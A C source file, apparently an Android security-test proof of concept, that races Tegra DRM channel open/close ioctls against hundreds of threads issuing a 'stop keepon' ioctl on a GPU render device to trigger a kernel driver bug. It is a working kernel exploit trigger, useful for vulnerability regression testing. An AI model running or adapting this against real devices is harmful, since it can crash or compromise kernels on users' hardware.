1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <stdio.h> 18 #include <stdlib.h> 19 #include <pthread.h> 20 #include <sys/ioctl.h> 21 #include <errno.h> 22 #include <sys/stat.h> 23 #include <fcntl.h> 24 #include <sched.h> 25 #include <sys/types.h> 26 #include <signal.h> 27 #include <unistd.h> 28 29 #define KEEPON_THREAD_NUM 900 30 #define TRY_TIMES KEEPON_THREAD_NUM 31 #define DEV "/dev/dri/renderD129" 32 33 #define SIOCIWFIRSTPRIV 0x8BE0 34 #define SIOCGIWNAME 0x8B01 35 #define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11) 36 #define PRIV_CUSTOM_BWCS_CMD 13 37 #define PRIV_CMD_OID 15 38 #define PRIV_CMD_SW_CTRL 20 39 #define PRIV_CMD_WSC_PROBE_REQ 22 40 41 enum host1x_class { 42 HOST1X_CLASS_HOST1X = 0x1, 43 HOST1X_CLASS_NVENC = 0x21, 44 HOST1X_CLASS_VI = 0x30, 45 HOST1X_CLASS_ISPA = 0x32, 46 HOST1X_CLASS_ISPB = 0x34, 47 HOST1X_CLASS_GR2D = 0x51, 48 HOST1X_CLASS_GR2D_SB = 0x52, 49 HOST1X_CLASS_VIC = 0x5D, 50 HOST1X_CLASS_GR3D = 0x60, 51 HOST1X_CLASS_NVJPG = 0xC0, 52 HOST1X_CLASS_NVDEC = 0xF0, 53 }; 54 55 #define DRM_COMMAND_BASE 0x40 56 #define DRM_COMMAND_END 0xA0 57 58 #define DRM_TEGRA_OPEN_CHANNEL 0x05 59 #define DRM_TEGRA_CLOSE_CHANNEL 0x06 60 #define DRM_TEGRA_STOP_KEEPON 0x11 61 62 struct drm_tegra_open_channel { 63 __u32 client; 64 __u32 pad; 65 volatile __u64 context; 66 }; 67 68 struct drm_tegra_close_channel { 69 volatile __u64 context; 70 }; 71 72 struct drm_tegra_keepon { 73 volatile __u64 context; 74 }; 75 76 #define DRM_IOCTL_BASE 'd' 77 #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) 78 79 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel) 80 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel) 81 #define DRM_IOCTL_TEGRA_STOP_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_STOP_KEEPON, struct drm_tegra_keepon) 82 83 int fd; 84 pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 }; 85 86 volatile struct drm_tegra_open_channel open_c = { 0 }; 87 volatile struct drm_tegra_close_channel close_c = { 0 }; 88 volatile struct drm_tegra_keepon keepon_c = { 0 }; 89 90 static int set_affinity(int num) 91 { 92 int ret = 0; 93 cpu_set_t mask; 94 CPU_ZERO(&mask); 95 CPU_SET(num, &mask); 96 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); 97 return ret; 98 } 99 100 static void prepare() 101 { 102 open_c.client = HOST1X_CLASS_VIC; 103 } 104 105 void* keepon_thread(void* no_use) 106 { 107 set_affinity(1); 108 109 while(1){ 110 ioctl(fd, DRM_IOCTL_TEGRA_STOP_KEEPON, &keepon_c); 111 } 112 } 113 114 int main() 115 { 116 int i, try_time = TRY_TIMES, ret; 117 118 /* bind_cpu */ 119 set_affinity(0); 120 121 /* open dev */ 122 fd = open(DEV,O_RDONLY); 123 if(fd == -1){ 124 return 0; 125 } 126 127 /* prepare ioctl cmd */ 128 prepare(); 129 130 /* create keepon thread */ 131 for(i = 0; i < KEEPON_THREAD_NUM; i++){ 132 ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL); 133 if(ret){ 134 goto out_keepon_thread; 135 } 136 } 137 138 while(try_time){ 139 /* open */ 140 ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c); 141 if(ret == 0){ 142 try_time--; 143 /* set keepon */ 144 keepon_c.context = open_c.context; 145 /* set close */ 146 close_c.context = open_c.context; 147 usleep(500); 148 ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c); 149 } 150 } 151 152 out_keepon_thread: 153 /* kill keepon thread */ 154 for(i = 0; i < KEEPON_THREAD_NUM; i++){ 155 pthread_kill(keepon_thread_id[i], SIGKILL); 156 } 157 out_dev: 158 close(fd); 159 return 0; 160 } 161
